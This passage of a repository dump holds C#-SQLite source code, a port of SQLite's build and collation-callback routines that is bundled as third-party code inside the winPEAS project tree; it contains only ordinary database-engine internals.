SCHEMA_TABLE(iDb); if( sqlite3AuthCheck(pParse, SQLITE_DELETE, zTab, 0, zDb) ){ goto exit_drop_index; } if( OMIT_TEMPDB ==0&& iDb ) code = SQLITE_DROP_TEMP_INDEX; if( sqlite3AuthCheck(pParse, code, pIndex.zName, pTab.zName, zDb) ){ goto exit_drop_index; } } #endif /* Generate code to remove the index and from the master table */ v = sqlite3GetVdbe( pParse ); if ( v != null ) { sqlite3BeginWriteOperation( pParse, 1, iDb ); sqlite3NestedParse( pParse, "DELETE FROM %Q.%s WHERE name=%Q", db.aDb[iDb].zName, SCHEMA_TABLE( iDb ), pIndex.zName ); if ( sqlite3FindTable( db, "sqlite_stat1", db.aDb[iDb].zName ) != null ) { sqlite3NestedParse( pParse, "DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q", db.aDb[iDb].zName, pIndex.zName ); } sqlite3ChangeCookie( pParse, iDb ); destroyRootPage( pParse, pIndex.tnum, iDb ); sqlite3VdbeAddOp4( v, OP_DropIndex, iDb, 0, 0, pIndex.zName, 0 ); } exit_drop_index: sqlite3SrcListDelete( db, ref pName ); } /* ** pArray is a pointer to an array of objects. Each object in the ** array is szEntry bytes in size. This routine allocates a new ** object on the end of the array. ** ** pnEntry is the number of entries already in use. pnAlloc is ** the previously allocated size of the array. initSize is the ** suggested initial array size allocation. ** ** The index of the new entry is returned in pIdx. ** ** This routine returns a pointer to the array of objects. This ** might be the same as the pArray parameter or it might be a different ** pointer if the array was resized. */ static T[] sqlite3ArrayAllocate( sqlite3 db, /* Connection to notify of malloc failures */ T[] pArray, /* Array of objects. Might be reallocated */ int szEntry, /* Size of each object in the array */ int initSize, /* Suggested initial allocation, in elements */ ref int pnEntry, /* Number of objects currently in use */ ref int pnAlloc, /* Current size of the allocation, in elements */ ref int pIdx /* Write the index of a new slot here */ ) where T : new() { //char* z; if ( pnEntry >= pnAlloc ) { //void* pNew; int newSize; newSize = ( pnAlloc ) * 2 + initSize; //pNew = sqlite3DbRealloc(db, pArray, newSize * szEntry); //if (pNew == 0) //{ // pIdx = -1; // return pArray; //} pnAlloc = newSize; //sqlite3DbMallocSize(db, pNew)/szEntry; //pArray = pNew; Array.Resize( ref pArray, newSize ); } pArray[pnEntry] = new T(); //z = (char*)pArray; //memset(z[*pnEntry * szEntry], 0, szEntry); pIdx = pnEntry; ++pnEntry; return pArray; } /* ** Append a new element to the given IdList. Create a new IdList if ** need be. ** ** A new IdList is returned, or NULL if malloc() fails. */ // OVERLOADS, so I don't need to rewrite parse.c static IdList sqlite3IdListAppend( sqlite3 db, int null_2, Token pToken ) { return sqlite3IdListAppend( db, null, pToken ); } static IdList sqlite3IdListAppend( sqlite3 db, IdList pList, Token pToken ) { int i = 0; if ( pList == null ) { pList = new IdList();//sqlite3DbMallocZero(db, sizeof(IdList)); if ( pList == null ) return null; pList.nAlloc = 0; } pList.a = (IdList_item[])sqlite3ArrayAllocate( db, pList.a, -1,//sizeof(pList.a[0]), 5, ref pList.nId, ref pList.nAlloc, ref i ); if ( i < 0 ) { sqlite3IdListDelete( db, ref pList ); return null; } pList.a[i].zName = sqlite3NameFromToken( db, pToken ); return pList; } /* ** Delete an IdList. */ static void sqlite3IdListDelete( sqlite3 db, ref IdList pList ) { int i; if ( pList == null ) return; for ( i = 0 ; i < pList.nId ; i++ ) { //sqlite3DbFree( db, ref pList.a[i].zName ); } //sqlite3DbFree( db, ref pList.a ); //sqlite3DbFree( db, ref pList ); } /* ** Return the index in pList of the identifier named zId. Return -1 ** if not found. */ static int sqlite3IdListIndex( IdList pList, string zName ) { int i; if ( pList == null ) return -1; for ( i = 0 ; i < pList.nId ; i++ ) { if ( sqlite3StrICmp( pList.a[i].zName, zName ) == 0 ) return i; } return -1; } /* ** Expand the space allocated for the given SrcList object by ** creating nExtra new slots beginning at iStart. iStart is zero based. ** New slots are zeroed. ** ** For example, suppose a SrcList initially contains two entries: A,B. ** To append 3 new entries onto the end, do this: ** ** sqlite3SrcListEnlarge(db, pSrclist, 3, 2); ** ** After the call above it would contain: A, B, nil, nil, nil. ** If the iStart argument had been 1 instead of 2, then the result ** would have been: A, nil, nil, nil, B. To prepend the new slots, ** the iStart value would be 0. The result then would ** be: nil, nil, nil, A, B. ** ** If a memory allocation fails the SrcList is unchanged. The ** db.mallocFailed flag will be set to true. */ static SrcList sqlite3SrcListEnlarge( sqlite3 db, /* Database connection to notify of OOM errors */ SrcList pSrc, /* The SrcList to be enlarged */ int nExtra, /* Number of new slots to add to pSrc.a[] */ int iStart /* Index in pSrc.a[] of first new slot */ ) { int i; /* Sanity checking on calling parameters */ Debug.Assert( iStart >= 0 ); Debug.Assert( nExtra >= 1 ); Debug.Assert( pSrc != null ); Debug.Assert( iStart <= pSrc.nSrc ); /* Allocate additional space if needed */ if ( pSrc.nSrc + nExtra > pSrc.nAlloc ) { int nAlloc = pSrc.nSrc + nExtra; int nGot; // sqlite3DbRealloc(db, pSrc, // sizeof(*pSrc) + (nAlloc-1)*sizeof(pSrc.a[0]) ); pSrc.nAlloc = (i16)nAlloc; Array.Resize( ref pSrc.a, nAlloc ); // nGot = (sqlite3DbMallocSize(db, pNew) - sizeof(*pSrc))/sizeof(pSrc->a[0])+1; //pSrc->nAlloc = (u16)nGot; } /* Move existing slots that come after the newly inserted slots ** out of the way */ for ( i = pSrc.nSrc - 1 ; i >= iStart ; i-- ) { pSrc.a[i + nExtra] = pSrc.a[i]; } pSrc.nSrc += (i16)nExtra; /* Zero the newly allocated slots */ //memset(&pSrc.a[iStart], 0, sizeof(pSrc.a[0])*nExtra); for ( i = iStart ; i < iStart + nExtra ; i++ ) { pSrc.a[i] = new SrcList_item(); pSrc.a[i].iCursor = -1; } /* Return a pointer to the enlarged SrcList */ return pSrc; } /* ** Append a new table name to the given SrcList. Create a new SrcList if ** need be. A new entry is created in the SrcList even if pTable is NULL. ** ** A SrcList is returned, or NULL if there is an OOM error. The returned ** SrcList might be the same as the SrcList that was input or it might be ** a new one. If an OOM error does occurs, then the prior value of pList ** that is input to this routine is automatically freed. ** ** If pDatabase is not null, it means that the table has an optional ** database name prefix. Like this: "database.table". The pDatabase ** points to the table name and the pTable points to the database name. ** The SrcList.a[].zName field is filled with the table name which might ** come from pTable (if pDatabase is NULL) or from pDatabase. ** SrcList.a[].zDatabase is filled with the database name from pTable, ** or with NULL if no database is specified. ** ** In other words, if call like this: ** ** sqlite3SrcListAppend(D,A,B,0); ** ** Then B is a table name and the database name is unspecified. If called ** like this: ** ** sqlite3SrcListAppend(D,A,B,C); ** ** Then C is the table name and B is the database name. If C is defined ** then so is B. In other words, we never have a case where: ** ** sqlite3SrcListAppend(D,A,0,C); ** ** Both pTable and pDatabase are assumed to be quoted. They are dequoted ** before being added to the SrcList. */ // OVERLOADS, so I don't need to rewrite parse.c static SrcList sqlite3SrcListAppend( sqlite3 db, int null_2, Token pTable, int null_4 ) { return sqlite3SrcListAppend( db, null, pTable, null ); } static SrcList sqlite3SrcListAppend( sqlite3 db, int null_2, Token pTable, Token pDatabase ) { return sqlite3SrcListAppend( db, null, pTable, pDatabase ); } static SrcList sqlite3SrcListAppend( sqlite3 db, /* Connection to notify of malloc failures */ SrcList pList, /* Append to this SrcList. NULL creates a new SrcList */ Token pTable, /* Table to append */ Token pDatabase /* Database of the table */ ) { SrcList_item pItem; Debug.Assert( pDatabase == null || pTable != null ); /* Cannot have C without B */ if ( pList == null ) { pList = new SrcList();//sqlite3DbMallocZero(db, SrcList.Length ); //if ( pList == null ) return null; pList.nAlloc = 1; pList.a = new SrcList_item[1]; } pList = sqlite3SrcListEnlarge( db, pList, 1, pList.nSrc ); //if ( db.mallocFailed != 0 ) //{ // sqlite3SrcListDelete( db, ref pList ); // return null; //} pItem = pList.a[pList.nSrc - 1]; if ( pDatabase != null && String.IsNullOrEmpty(pDatabase.z)) { pDatabase = null; } if ( pDatabase != null ) { Token pTemp = pDatabase; pDatabase = pTable; pTable = pTemp; } pItem.zName = sqlite3NameFromToken( db, pTable ); pItem.zDatabase = sqlite3NameFromToken( db, pDatabase ); return pList; } /* ** Assign VdbeCursor index numbers to all tables in a SrcList */ static void sqlite3SrcListAssignCursors( Parse pParse, SrcList pList ) { int i; SrcList_item pItem; Debug.Assert( pList != null /* || pParse.db.mallocFailed != 0 */ ); if ( pList != null ) { for ( i = 0 ; i < pList.nSrc ; i++ ) { pItem = pList.a[i]; if ( pItem.iCursor >= 0 ) break; pItem.iCursor = pParse.nTab++; if ( pItem.pSelect != null ) { sqlite3SrcListAssignCursors( pParse, pItem.pSelect.pSrc ); } } } } /* ** Delete an entire SrcList including all its substructure. */ static void sqlite3SrcListDelete( sqlite3 db, ref SrcList pList ) { int i; SrcList_item pItem; if ( pList == null ) return; for ( i = 0 ; i < pList.nSrc ; i++ ) {//, pItem++){ pItem = pList.a[i]; //sqlite3DbFree( db, ref pItem.zDatabase ); //sqlite3DbFree( db, ref pItem.zName ); //sqlite3DbFree( db, ref pItem.zAlias ); //sqlite3DbFree( db, ref pItem.zIndex ); sqlite3DeleteTable( ref pItem.pTab ); sqlite3SelectDelete( db, ref pItem.pSelect ); sqlite3ExprDelete( db, ref pItem.pOn ); sqlite3IdListDelete( db, ref pItem.pUsing ); } //sqlite3DbFree( db, ref pList ); } /* ** This routine is called by the parser to add a new term to the ** end of a growing FROM clause. The "p" parameter is the part of ** the FROM clause that has already been constructed. "p" is NULL ** if this is the first term of the FROM clause. pTable and pDatabase ** are the name of the table and database named in the FROM clause term. ** pDatabase is NULL if the database name qualifier is missing - the ** usual case. If the term has a alias, then pAlias points to the ** alias token. If the term is a subquery, then pSubquery is the ** SELECT statement that the subquery encodes. The pTable and ** pDatabase parameters are NULL for subqueries. The pOn and pUsing ** parameters are the content of the ON and USING clauses. ** ** Return a new SrcList which encodes is the FROM with the new ** term added. */ // OVERLOADS, so I don't need to rewrite parse.c static SrcList sqlite3SrcListAppendFromTerm( Parse pParse, SrcList p, int null_3, int null_4, Token pAlias, Select pSubquery, Expr pOn, IdList pUsing ) { return sqlite3SrcListAppendFromTerm( pParse, p, null, null, pAlias, pSubquery, pOn, pUsing ); } static SrcList sqlite3SrcListAppendFromTerm( Parse pParse, SrcList p, Token pTable, Token pDatabase, Token pAlias, int null_6, Expr pOn, IdList pUsing ) { return sqlite3SrcListAppendFromTerm( pParse, p, pTable, pDatabase, pAlias, null, pOn, pUsing ); } static SrcList sqlite3SrcListAppendFromTerm( Parse pParse, /* Parsing context */ SrcList p, /* The left part of the FROM clause already seen */ Token pTable, /* Name of the table to add to the FROM clause */ Token pDatabase, /* Name of the database containing pTable */ Token pAlias, /* The right-hand side of the AS subexpression */ Select pSubquery, /* A subquery used in place of a table name */ Expr pOn, /* The ON clause of a join */ IdList pUsing /* The USING clause of a join */ ) { SrcList_item pItem; sqlite3 db = pParse.db; if ( null == p && ( pOn != null || pUsing != null ) ) { sqlite3ErrorMsg( pParse, "a JOIN clause is required before %s", ( pOn != null ? "ON" : "USING" ) ); goto append_from_error; } p = sqlite3SrcListAppend( db, p, pTable, pDatabase ); //if ( p == null || NEVER( p.nSrc == 0 ) ) //{ // goto append_from_error; //} pItem = p.a[p.nSrc - 1]; Debug.Assert( pAlias != null ); if ( pAlias.n != 0 ) { pItem.zAlias = sqlite3NameFromToken( db, pAlias ); } pItem.pSelect = pSubquery; pItem.pOn = pOn; pItem.pUsing = pUsing; return p; append_from_error: Debug.Assert( p == null ); sqlite3ExprDelete( db, ref pOn ); sqlite3IdListDelete( db, ref pUsing ); sqlite3SelectDelete( db, ref pSubquery ); return null; } /* ** Add an INDEXED BY or NOT INDEXED clause to the most recently added ** element of the source-list passed as the second argument. */ static void sqlite3SrcListIndexedBy( Parse pParse, SrcList p, Token pIndexedBy ) { Debug.Assert( pIndexedBy != null ); if ( p != null && ALWAYS( p.nSrc > 0 ) ) { SrcList_item pItem = p.a[p.nSrc - 1]; Debug.Assert( 0 == pItem.notIndexed && pItem.zIndex == null ); if ( pIndexedBy.n == 1 && null == pIndexedBy.z ) { /* A "NOT INDEXED" clause was supplied. See parse.y ** construct "indexed_opt" for details. */ pItem.notIndexed = 1; } else { pItem.zIndex = sqlite3NameFromToken( pParse.db, pIndexedBy ); } } } /* ** When building up a FROM clause in the parser, the join operator ** is initially attached to the left operand. But the code generator ** expects the join operator to be on the right operand. This routine ** Shifts all join operators from left to right for an entire FROM ** clause. ** ** Example: Suppose the join is like this: ** ** A natural cross join B ** ** The operator is "natural cross join". The A and B operands are stored ** in p.a[0] and p.a[1], respectively. The parser initially stores the ** operator with A. This routine shifts that operator over to B. */ static void sqlite3SrcListShiftJoinType( SrcList p ) { if ( p != null && p.a != null ) { int i; for ( i = p.nSrc - 1 ; i > 0 ; i-- ) { p.a[i].jointype = p.a[i - 1].jointype; } p.a[0].jointype = 0; } } /* ** Begin a transaction */ static void sqlite3BeginTransaction( Parse pParse, int type ) { sqlite3 db; Vdbe v; int i; Debug.Assert( pParse != null ); db = pParse.db; Debug.Assert( db != null ); /* if( db.aDb[0].pBt==0 ) return; */ if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, "BEGIN", null, null ) != 0 ) { return; } v = sqlite3GetVdbe( pParse ); if ( v == null ) return; if ( type != TK_DEFERRED ) { for ( i = 0 ; i < db.nDb ; i++ ) { sqlite3VdbeAddOp2( v, OP_Transaction, i, ( type == TK_EXCLUSIVE ) ? 2 : 1 ); sqlite3VdbeUsesBtree( v, i ); } } sqlite3VdbeAddOp2( v, OP_AutoCommit, 0, 0 ); } /* ** Commit a transaction */ static void sqlite3CommitTransaction( Parse pParse ) { sqlite3 db; Vdbe v; Debug.Assert( pParse != null ); db = pParse.db; Debug.Assert( db != null ); /* if( db.aDb[0].pBt==0 ) return; */ if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, "COMMIT", null, null ) != 0 ) { return; } v = sqlite3GetVdbe( pParse ); if ( v != null ) { sqlite3VdbeAddOp2( v, OP_AutoCommit, 1, 0 ); } } /* ** Rollback a transaction */ static void sqlite3RollbackTransaction( Parse pParse ) { sqlite3 db; Vdbe v; Debug.Assert( pParse != null ); db = pParse.db; Debug.Assert( db != null ); /* if( db.aDb[0].pBt==0 ) return; */ if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, "ROLLBACK", null, null ) != 0 ) { return; } v = sqlite3GetVdbe( pParse ); if ( v != null ) { sqlite3VdbeAddOp2( v, OP_AutoCommit, 1, 1 ); } } /* ** This function is called by the parser when it parses a command to create, ** release or rollback an SQL savepoint. */ static void sqlite3Savepoint( Parse pParse, int op, Token pName ) { string zName = sqlite3NameFromToken( pParse.db, pName ); if ( zName != null ) { Vdbe v = sqlite3GetVdbe( pParse ); #if !SQLITE_OMIT_AUTHORIZATION byte az[] = { "BEGIN", "RELEASE", "ROLLBACK" }; Debug.Assert( !SAVEPOINT_BEGIN && SAVEPOINT_RELEASE==1 && SAVEPOINT_ROLLBACK==2 ); #endif if ( null == v #if !SQLITE_OMIT_AUTHORIZATION || sqlite3AuthCheck(pParse, SQLITE_SAVEPOINT, az[op], zName, 0) #endif ) { //sqlite3DbFree( pParse.db, zName ); return; } sqlite3VdbeAddOp4( v, OP_Savepoint, op, 0, 0, zName, P4_DYNAMIC ); } } /* ** Make sure the TEMP database is open and available for use. Return ** the number of errors. Leave any error messages in the pParse structure. */ static int sqlite3OpenTempDatabase( Parse pParse ) { sqlite3 db = pParse.db; if ( db.aDb[1].pBt == null && pParse.explain == 0 ) { int rc; const int flags = SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE | SQLITE_OPEN_EXCLUSIVE | SQLITE_OPEN_DELETEONCLOSE | SQLITE_OPEN_TEMP_DB; rc = sqlite3BtreeFactory( db, null, false, SQLITE_DEFAULT_CACHE_SIZE, flags, ref db.aDb[1].pBt ); if ( rc != SQLITE_OK ) { sqlite3ErrorMsg( pParse, "unable to open a temporary database " + "file for storing temporary tables" ); pParse.rc = rc; return 1; } Debug.Assert( ( db.flags & SQLITE_InTrans ) == 0 || db.autoCommit != 0 ); Debug.Assert( db.aDb[1].pSchema != null ); sqlite3PagerJournalMode( sqlite3BtreePager( db.aDb[1].pBt ), db.dfltJournalMode ); } return 0; } /* ** Generate VDBE code that will verify the schema cookie and start ** a read-transaction for all named database files. ** ** It is important that all schema cookies be verified and all ** read transactions be started before anything else happens in ** the VDBE program. But this routine can be called after much other ** code has been generated. So here is what we do: ** ** The first time this routine is called, we code an OP_Goto that ** will jump to a subroutine at the end of the program. Then we ** record every database that needs its schema verified in the ** pParse.cookieMask field. Later, after all other code has been ** generated, the subroutine that does the cookie verifications and ** starts the transactions will be coded and the OP_Goto P2 value ** will be made to point to that subroutine. The generation of the ** cookie verification subroutine code happens in sqlite3FinishCoding(). ** ** If iDb<0 then code the OP_Goto only - don't set flag to verify the ** schema on any databases. This can be used to position the OP_Goto ** early in the code, before we know if any database tables will be used. */ static void sqlite3CodeVerifySchema( Parse pParse, int iDb ) { sqlite3 db; Vdbe v; u32 mask; v = sqlite3GetVdbe( pParse ); if ( v == null ) return; /* This only happens if there was a prior error */ db = pParse.db; if ( pParse.cookieGoto == 0 ) { pParse.cookieGoto = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 ) + 1; } if ( iDb >= 0 ) { Debug.Assert( iDb < db.nDb ); Debug.Assert( db.aDb[iDb].pBt != null || iDb == 1 ); Debug.Assert( iDb < SQLITE_MAX_ATTACHED + 2 ); mask = (u32)( 1 << iDb ); if ( ( pParse.cookieMask & mask ) == 0 ) { pParse.cookieMask |= mask; pParse.cookieValue[iDb] = db.aDb[iDb].pSchema.schema_cookie; if ( OMIT_TEMPDB == 0 && iDb == 1 ) { sqlite3OpenTempDatabase( pParse ); } } } } /* ** Generate VDBE code that prepares for doing an operation that ** might change the database. ** ** This routine starts a new transaction if we are not already within ** a transaction. If we are already within a transaction, then a checkpoint ** is set if the setStatement parameter is true. A checkpoint should ** be set for operations that might fail (due to a constraint) part of ** the way through and which will need to undo some writes without having to ** rollback the whole transaction. For operations where all constraints ** can be checked before any changes are made to the database, it is never ** necessary to undo a write and the checkpoint should not be set. */ static void sqlite3BeginWriteOperation( Parse pParse, int setStatement, int iDb ) { sqlite3CodeVerifySchema( pParse, iDb ); pParse.writeMask |= (u32)( 1 << iDb ); if ( setStatement != 0 && pParse.nested == 0 ) { /* Every place where this routine is called with setStatement!=0 has ** already successfully created a VDBE. */ Debug.Assert( pParse.pVdbe != null ); sqlite3VdbeAddOp1( pParse.pVdbe, OP_Statement, iDb ); } } /* ** Check to see if pIndex uses the collating sequence pColl. Return ** true if it does and false if it does not. */ #if !SQLITE_OMIT_REINDEX static bool collationMatch( string zColl, Index pIndex ) { int i; Debug.Assert( zColl != null ); for ( i = 0 ; i < pIndex.nColumn ; i++ ) { string z = pIndex.azColl[i]; Debug.Assert( z != null ); if ( 0 == sqlite3StrICmp( z, zColl ) ) { return true; } } return false; } #endif /* ** Recompute all indices of pTab that use the collating sequence pColl. ** If pColl == null then recompute all indices of pTab. */ #if !SQLITE_OMIT_REINDEX static void reindexTable( Parse pParse, Table pTab, string zColl ) { Index pIndex; /* An index associated with pTab */ for ( pIndex = pTab.pIndex ; pIndex != null ; pIndex = pIndex.pNext ) { if ( zColl == null || collationMatch( zColl, pIndex ) ) { int iDb = sqlite3SchemaToIndex( pParse.db, pTab.pSchema ); sqlite3BeginWriteOperation( pParse, 0, iDb ); sqlite3RefillIndex( pParse, pIndex, -1 ); } } } #endif /* ** Recompute all indices of all tables in all databases where the ** indices use the collating sequence pColl. If pColl == null then recompute ** all indices everywhere. */ #if !SQLITE_OMIT_REINDEX static void reindexDatabases( Parse pParse, string zColl ) { Db pDb; /* A single database */ int iDb; /* The database index number */ sqlite3 db = pParse.db; /* The database connection */ HashElem k; /* For looping over tables in pDb */ Table pTab; /* A table in the database */ for ( iDb = 0 ; iDb < db.nDb ; iDb++ )//, pDb++ ) { pDb = db.aDb[iDb]; Debug.Assert( pDb != null ); for ( k = pDb.pSchema.tblHash.first ; k != null ; k = k.next ) //for ( k = sqliteHashFirst( pDb.pSchema.tblHash ) ; k != null ; k = sqliteHashNext( k ) ) { pTab = (Table)k.data;// sqliteHashData( k ); reindexTable( pParse, pTab, zColl ); } } } #endif /* ** Generate code for the REINDEX command. ** ** REINDEX -- 1 ** REINDEX -- 2 ** REINDEX ?.? -- 3 ** REINDEX ?.? -- 4 ** ** Form 1 causes all indices in all attached databases to be rebuilt. ** Form 2 rebuilds all indices in all databases that use the named ** collating function. Forms 3 and 4 rebuild the named index or all ** indices associated with the named table. */ #if !SQLITE_OMIT_REINDEX // OVERLOADS, so I don't need to rewrite parse.c static void sqlite3Reindex( Parse pParse, int null_2, int null_3 ) { sqlite3Reindex( pParse, null, null ); } static void sqlite3Reindex( Parse pParse, Token pName1, Token pName2 ) { CollSeq pColl; /* Collating sequence to be reindexed, or NULL */ string z; /* Name of a table or index */ string zDb; /* Name of the database */ Table pTab; /* A table in the database */ Index pIndex; /* An index associated with pTab */ int iDb; /* The database index number */ sqlite3 db = pParse.db; /* The database connection */ Token pObjName = new Token(); /* Name of the table or index to be reindexed */ /* Read the database schema. If an error occurs, leave an error message ** and code in pParse and return NULL. */ if ( SQLITE_OK != sqlite3ReadSchema( pParse ) ) { return; } if ( pName1 == null ) { reindexDatabases( pParse, null ); return; } else if ( NEVER( pName2 == null ) || pName2.z == null || pName2.z.Length == 0 ) { string zColl; Debug.Assert( pName1.z != null ); zColl = sqlite3NameFromToken( pParse.db, pName1 ); if ( zColl == null ) return; pColl = sqlite3FindCollSeq( db, ENC( db ), zColl, 0 ); if ( pColl != null ) { reindexDatabases( pParse, zColl ); //sqlite3DbFree( db, ref zColl ); return; } //sqlite3DbFree( db, ref zColl ); } iDb = sqlite3TwoPartName( pParse, pName1, pName2, ref pObjName ); if ( iDb < 0 ) return; z = sqlite3NameFromToken( db, pObjName ); if ( z == null ) return; zDb = db.aDb[iDb].zName; pTab = sqlite3FindTable( db, z, zDb ); if ( pTab != null ) { reindexTable( pParse, pTab, null ); //sqlite3DbFree( db, ref z ); return; } pIndex = sqlite3FindIndex( db, z, zDb ); //sqlite3DbFree( db, ref z ); if ( pIndex != null ) { sqlite3BeginWriteOperation( pParse, 0, iDb ); sqlite3RefillIndex( pParse, pIndex, -1 ); return; } sqlite3ErrorMsg( pParse, "unable to identify the object to be reindexed" ); } #endif /* ** Return a dynamicly allocated KeyInfo structure that can be used ** with OP_OpenRead or OP_OpenWrite to access database index pIdx. ** ** If successful, a pointer to the new structure is returned. In this case ** the caller is responsible for calling //sqlite3DbFree(db, ) on the returned ** pointer. If an error occurs (out of memory or missing collation ** sequence), NULL is returned and the state of pParse updated to reflect ** the error. */ static KeyInfo sqlite3IndexKeyinfo( Parse pParse, Index pIdx ) { int i; int nCol = pIdx.nColumn; //int nBytes = KeyInfo.Length + (nCol - 1) * CollSeq*.Length + nCol; sqlite3 db = pParse.db; KeyInfo pKey = new KeyInfo();// (KeyInfo*)sqlite3DbMallocZero(db, nBytes); if ( pKey != null ) { pKey.db = pParse.db; pKey.aSortOrder = new byte[nCol]; pKey.aColl = new CollSeq[nCol];// (u8*)&(pKey.aColl[nCol]); // Debug.Assert(pKey.aSortOrder[nCol] == &(((u8*)pKey)[nBytes])); for ( i = 0 ; i < nCol ; i++ ) { string zColl = pIdx.azColl[i]; Debug.Assert( zColl != null ); pKey.aColl[i] = sqlite3LocateCollSeq( pParse, zColl ); pKey.aSortOrder[i] = pIdx.aSortOrder[i]; } pKey.nField = (u16)nCol; } if ( pParse.nErr != 0 ) { pKey = null;//sqlite3DbFree( db, ref pKey ); } return pKey; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/callback_c.cs ================================================ using System.Diagnostics; using i16 = System.Int16; using u8 = System.Byte; using u16 = System.UInt16; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2005 May 23 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** This file contains functions used to access the internal hash tables ** of user defined functions and collation sequences. ** ** $Id: callback.c,v 1.42 2009/06/17 00:35:31 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** Invoke the 'collation needed' callback to request a collation sequence ** in the database text encoding of name zName, length nName. ** If the collation sequence */ static void callCollNeeded( sqlite3 db, string zName ) { Debug.Assert( db.xCollNeeded == null || db.xCollNeeded16 == null ); if ( db.xCollNeeded != null ) { string zExternal = zName;// sqlite3DbStrDup(db, zName); if ( zExternal == null ) return; db.xCollNeeded( db.pCollNeededArg, db, db.aDb[0].pSchema.enc, zExternal );//(int)ENC(db), zExternal); //sqlite3DbFree( db, ref zExternal ); } #if !SQLITE_OMIT_UTF16 if( db.xCollNeeded16!=null ){ string zExternal; sqlite3_value pTmp = sqlite3ValueNew(db); sqlite3ValueSetStr(pTmp, -1, zName, SQLITE_UTF8, SQLITE_STATIC); zExternal = sqlite3ValueText(pTmp, SQLITE_UTF16NATIVE); if( zExternal!="" ){ db.xCollNeeded16( db.pCollNeededArg, db, db.aDbStatic[0].pSchema.enc, zExternal );//(int)ENC(db), zExternal); } sqlite3ValueFree(ref pTmp); } #endif } /* ** This routine is called if the collation factory fails to deliver a ** collation function in the best encoding but there may be other versions ** of this collation function (for other text encodings) available. Use one ** of these instead if they exist. Avoid a UTF-8 <. UTF-16 conversion if ** possible. */ static int synthCollSeq( sqlite3 db, CollSeq pColl ) { CollSeq pColl2; string z = pColl.zName; int i; byte[] aEnc = { SQLITE_UTF16BE, SQLITE_UTF16LE, SQLITE_UTF8 }; for ( i = 0 ; i < 3 ; i++ ) { pColl2 = sqlite3FindCollSeq( db, aEnc[i], z, 0 ); if ( pColl2.xCmp != null ) { pColl = pColl2.Copy(); //memcpy(pColl, pColl2, sizeof(CollSeq)); pColl.xDel = null; /* Do not copy the destructor */ return SQLITE_OK; } } return SQLITE_ERROR; } /* ** This function is responsible for invoking the collation factory callback ** or substituting a collation sequence of a different encoding when the ** requested collation sequence is not available in the database native ** encoding. ** ** If it is not NULL, then pColl must point to the database native encoding ** collation sequence with name zName, length nName. ** ** The return value is either the collation sequence to be used in database ** db for collation type name zName, length nName, or NULL, if no collation ** sequence can be found. ** ** See also: sqlite3LocateCollSeq(), sqlite3FindCollSeq() */ static CollSeq sqlite3GetCollSeq( sqlite3 db, /* The database connection */ CollSeq pColl, /* Collating sequence with native encoding, or NULL */ string zName /* Collating sequence name */ ) { CollSeq p; p = pColl; if ( p == null ) { p = sqlite3FindCollSeq( db, ENC( db ), zName, 0 ); } if ( p == null || p.xCmp == null ) { /* No collation sequence of this type for this encoding is registered. ** Call the collation factory to see if it can supply us with one. */ callCollNeeded( db, zName ); p = sqlite3FindCollSeq( db, ENC( db ), zName, 0 ); } if ( p != null && p.xCmp == null && synthCollSeq( db, p ) != 0 ) { p = null; } Debug.Assert( p == null || p.xCmp != null ); return p; } /* ** This routine is called on a collation sequence before it is used to ** check that it is defined. An undefined collation sequence exists when ** a database is loaded that contains references to collation sequences ** that have not been defined by sqlite3_create_collation() etc. ** ** If required, this routine calls the 'collation needed' callback to ** request a definition of the collating sequence. If this doesn't work, ** an equivalent collating sequence that uses a text encoding different ** from the main database is substituted, if one is available. */ static int sqlite3CheckCollSeq( Parse pParse, CollSeq pColl ) { if ( pColl != null ) { string zName = pColl.zName; CollSeq p = sqlite3GetCollSeq( pParse.db, pColl, zName ); if ( null == p ) { sqlite3ErrorMsg( pParse, "no such collation sequence: %s", zName ); pParse.nErr++; return SQLITE_ERROR; } // //Debug.Assert(p == pColl); if (p != pColl) // Had to lookup appropriate sequence { pColl.enc = p.enc; pColl.pUser= p.pUser; pColl.type = p.type; pColl.xCmp = p.xCmp; pColl.xDel = p.xDel; } } return SQLITE_OK; } /* ** Locate and return an entry from the db.aCollSeq hash table. If the entry ** specified by zName and nName is not found and parameter 'create' is ** true, then create a new entry. Otherwise return NULL. ** ** Each pointer stored in the sqlite3.aCollSeq hash table contains an ** array of three CollSeq structures. The first is the collation sequence ** prefferred for UTF-8, the second UTF-16le, and the third UTF-16be. ** ** Stored immediately after the three collation sequences is a copy of ** the collation sequence name. A pointer to this string is stored in ** each collation sequence structure. */ static CollSeq[] findCollSeqEntry( sqlite3 db, /* Database connection */ string zName, /* Name of the collating sequence */ int create /* Create a new entry if true */ ) { CollSeq[] pColl; int nName = sqlite3Strlen30( zName ); pColl = (CollSeq[])sqlite3HashFind( db.aCollSeq, zName, nName ); if ( ( null == pColl ) && create != 0 ) { pColl = new CollSeq[3]; //sqlite3DbMallocZero(db, 3*sizeof(*pColl) + nName + 1 ); if ( pColl != null ) { CollSeq pDel = null; pColl[0] = new CollSeq(); pColl[0].zName = zName; pColl[0].enc = SQLITE_UTF8; pColl[1] = new CollSeq(); pColl[1].zName = zName; pColl[1].enc = SQLITE_UTF16LE; pColl[2] = new CollSeq(); pColl[2].zName = zName; pColl[2].enc = SQLITE_UTF16BE; //memcpy(pColl[0].zName, zName, nName); //pColl[0].zName[nName] = 0; pDel = (CollSeq)sqlite3HashInsert( ref db.aCollSeq, pColl[0].zName, nName, pColl ); /* If a malloc() failure occurred in sqlite3HashInsert(), it will ** return the pColl pointer to be deleted (because it wasn't added ** to the hash table). */ Debug.Assert( pDel == null || pDel == pColl[0] ); if ( pDel != null ) { //// db.mallocFailed = 1; pDel = null; //was //sqlite3DbFree(db,ref pDel); pColl = null; } } } return pColl; } /* 